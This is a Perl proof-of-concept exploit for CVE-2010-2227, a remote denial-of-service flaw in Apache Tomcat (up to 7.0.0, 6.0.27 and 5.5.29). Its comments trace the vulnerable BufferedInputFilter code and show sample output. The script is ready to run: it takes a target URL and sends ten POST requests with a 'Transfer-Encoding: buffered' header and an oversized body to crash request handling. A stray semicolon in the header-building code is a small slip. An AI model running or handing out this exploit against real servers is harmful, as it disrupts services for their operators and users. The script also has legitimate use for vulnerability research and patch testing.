#!/usr/bin/perl
# hoagie_tomcat_transferencoding_dos.pl
# TOMCAT REMOTE DENIAL-OF-SERVICE EXPLOIT (<= 7.0.0, <= 6.0.27, <= 5.5.29)
#
# CVE-2010-2227
#
# Bug discovered by:
# Steve Jones
#
# As you can see from the stack trace below the bug is triggerd via recyle()
# method in BufferedInputFilter.java
# ...
# public void recycle() {
#     if (buffered.getBuffer().length > 65536) {
#         ^^^^^^^^
#         NULL pointer exception         
#
#         buffered = null;
#     } else {
#         buffered.recycle();
#     }
#     tempRead.recycle();
#     hasRead = false;
#     buffer = null;
# }
# ...
#
# So you only have to use the Bufferd Input Filter in Http11Processor.java:
# ...
# if (http11)
#     transferEncodingValueMB = headers.getValue("transfer-encoding");
#     ^^^^^^^^^^^^^^^^^^^^^^^
#     contains "buffered" => see BufferedInputFilter.java => ENCODING_NAME
# if (transferEncodingValueMB != null) {
#     String transferEncodingValue = transferEncodingValueMB.toString();
#     // Parse the comma separated list. "identity" codings are ignored
#     int startPos = 0;
#     int commaPos = transferEncodingValue.indexOf(',');
#     String encodingName = null;
#     while (commaPos != -1) {
#         encodingName = transferEncodingValue.substring
#         (startPos, commaPos).toLowerCase().trim();
#         if (!addInputFilter(inputFilters, encodingName)) {
# ...
#         // Recycle
#        inputBuffer.recycle();
#        outputBuffer.recycle();
# ...
# 
# After the requests have been processed the recycle methods are called.
# InternalInputBuffer.java / nextRequest()
# ...
# for (int i = 0; i <= lastActiveFilter; i++) {
#     activeFilters[i].recycle();
# }
# ...
#
# $ ./hoagie_tomcat_transferencoding_dos.pl http://localhost:8080/
# hoagie_tomcat_transferencoding_dos.pl - tomcat transfer encoding denial-of-service <= 7.0.0 <= 6.0.27 <= 5.5.29 remote
# -andi / void.at
#
# [*] server  : localhost
# [*] protocol: http
# [*] port    : 8080
# [*] url     : /
# [*] sending request #1...
# [*] sending request #2...
# [*] sending request #3...
# [*] sending request #4...
# [*] sending request #5...
# [*] sending request #6...
# [*] sending request #7...
# [*] sending request #8...
# [*] sending request #9...
# [*] sending request #10...
# $ tail -f logs/cataling.out
# Error reading request, ignored
# java.lang.NullPointerException
#	at org.apache.coyote.http11.filters.BufferedInputFilter.recycle(BufferedInputFilter.java:105)
#	at org.apache.coyote.http11.InternalInputBuffer.nextRequest(InternalInputBuffer.java:314)
#	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:913)
#	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:588)
#	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
#	at java.lang.Thread.run(Thread.java:619)
# $
# 
# THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
# CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
# DAMAGE DONE USING THIS PROGRAM.
#
# VOID.AT Security
# andi@void.at
# http://www.void.at
#
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;


my $target = $ARGV[0];
my $server;
my $protocol;
my $port;
my $url;

print "hoagie_tomcat_transferencoding_dos.pl - tomcat transfer encoding denial-of-service <= 7.0.0 <= 6.0.27 <= 5.5.29 remote\n" .
      "-andi / void.at\n\n";

if ($target =~ /^(http|https):\/\/([A-Za-z0-9_\.]{1,128})(:[0-9]{1,5}){0,1}([A-Za-z0-9_\.\/]{0,128})$/) {
   ($protocol, $server, $port, $url) = ($1, $2, $3, $4);
   if (!$port) {
      $port = 80;
   } else {
      $port = substr($port, 1);
   }
   print "[*] server  : " . $server . "\n";
   print "[*] protocol: " . $protocol . "\n";
   print "[*] port    : " . $port . "\n";
   print "[*] url     : " . $url . "\n";

   my $request =
      "POST " . $url . "  HTTP/1.1\r\n" .
      "Host: " . $server.  "\r\n" .
      "Transfer-Encoding: buffered\r\n" .
      "Content-Length: 65537\r\n";
      "\r\n";
   $request .= "A" x 65537;

   for (my $i = 0; $i < 10; $i++) {
      my $socket;
      if ($protocol eq 'https') {
         $socket = new IO::Socket::SSL(
                       PeerAddr => $server,
                       PeerPort => $port,
                       Timeout  => 300,
                       Proto    => "tcp");
      } else {
         $socket = new IO::Socket::INET(
                       PeerAddr => $server,
                       PeerPort => $port,
                       Timeout  => 300,
                       Proto    => "tcp");
      }

      if (!$socket) {
         print "[*] connection to " . $target . " failed\n";
         last;
      } 

      print "[*] sending request #" . ($i + 1) . "...\n";
      print $socket $request;

      close $socket;
   }
} else {
   print "[*] invalid url " . $target . "\n";
}
